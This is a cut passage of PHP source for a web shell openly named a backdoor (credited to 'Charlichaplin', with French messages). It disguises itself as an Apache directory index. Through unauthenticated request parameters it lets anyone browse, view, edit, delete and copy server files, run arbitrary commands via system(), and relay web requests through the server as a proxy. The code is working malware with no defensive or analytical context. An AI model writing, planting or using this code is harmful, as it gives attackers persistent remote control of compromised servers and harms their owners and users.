rep)) { $dir = opendir($this->rep); } else { $dir = opendir($this->pwd); } while($f = readdir($dir)) { if ($f !="." && $f != "..") { $this->list[] = $f; } } } function view() { $this->file = htmlentities(highlight_file($this->file)); } function edit() { if(!is_writable($this->edit)) { echo "Ecriture impossible sur le fichier"; } elseif(!file_exists($this->edit)) { echo "Le fichier n'existe pas "; } elseif(!$this->fichier) { $fp = fopen($this->edit,"r"); $a = ""; while(!feof($fp)) { $a .= fgets($fp,1024); } echo"
edit."\">
"; } else { $fp = fopen($this->edit,"w+"); fwrite($fp, $this->fichier); fclose($fp); echo "Le fichier a été modifié"; } } function del() { if(is_file($this->del)) { if(unlink($this->del)) { echo "Fichier supprimé"; } else { echo "Vous n'avez pas les droits pour supprimer ce fichier"; } } else { echo $this->del." n'est pas un fichier"; } } function shell() { echo "

"; system($this->shell); } function proxy($host,$page) { $fp = fsockopen($host,80); if (!$fp) { echo "impossible d'etablir un connection avec l'host"; } else { $header = "GET ".$page." HTTP/1.1\r\n"; $header .= "Host: ".$host."\r\n"; $header .= "Connection: close\r\n\r\n"; fputs($fp,$header); while (!feof($fp)) { $line = fgets($fp,1024); echo $line; } fclose($fp); } } function ccopy($cfichier,$cdestination) { if(!empty($cfichier) && !empty($cdestination)) { copy($cfichier, $cdestination); echo "Le fichier a été copié"; } else { echo "
Source:
Destination:
"; } } } if(!empty($_REQUEST['rep'])) { $rep = $_REQUEST['rep']."/"; } $pwd = $_SERVER['SCRIPT_FILENAME']; $pwd2 = explode("/",$pwd); $file = $_REQUEST['file']; $edit = $_REQUEST['edit']; $fichier = $_POST['fichier']; $del = $_REQUEST['del']; $shell = $_REQUEST['shell']; $proxy = $_REQUEST['proxy']; $copy = $_REQUEST['copy']; $cfichier = $_POST['cfichier']; $cdestination = $_POST['cdestination']; $n = count($pwd2); $n = $n - 1; $pwd = ""; for ($i = 0;$i != $n;$i = $i+1) { $pwd .= "/".$pwd2[$i]; } if($proxy) { $host2 = explode("/",$proxy); $n = count($host2); $host = $host2[2]; $page = ""; for ($i = 3;$i != $n;$i = $i+1) { $page .= "/".$host2[$i]; } echo $page; } echo "Index of ".$pwd.""; $backdoor = new backdoor(); $backdoor->pwd = $pwd; $backdoor->rep = $rep; $backdoor->file = $file; $backdoor->edit = $edit; $backdoor->fichier = $fichier; $backdoor->del = $del; $backdoor->shell = $shell; $backdoor->proxy = $proxy; echo "
Index of ".$backdoor->pwd.""; $backdoor->dir(); echo "
";
echo "Executer un shell ";
echo "Utiliser le serveur comme proxy ";
echo "Copier un fichier 
"; echo "\" Name Last modified Size Description"; echo "
"; if($file) { $backdoor->view(); } elseif($edit) { $backdoor->edit(); } elseif($del) { $backdoor->del(); } elseif($shell) { $backdoor->shell(); }elseif($proxy) { $backdoor->proxy($host,$page); }elseif($copy == 1) { $backdoor->ccopy($cfichier,$cdestination); } else { echo "[DIR] Parent Directory ".date("r",realpath($rep."../"))." -
"; foreach ($backdoor->list as $key => $value) { if(is_dir($rep.$value)) { echo "[DIR]".$value."/ ".date("r",filemtime($rep.$value))." -
"; } else { echo "[FILE]".$value." (edit) (del) ".date("r",filemtime($rep.$value))." 1k
"; } } } echo "

"; echo "
Coded By Charlichaplin
"; echo "";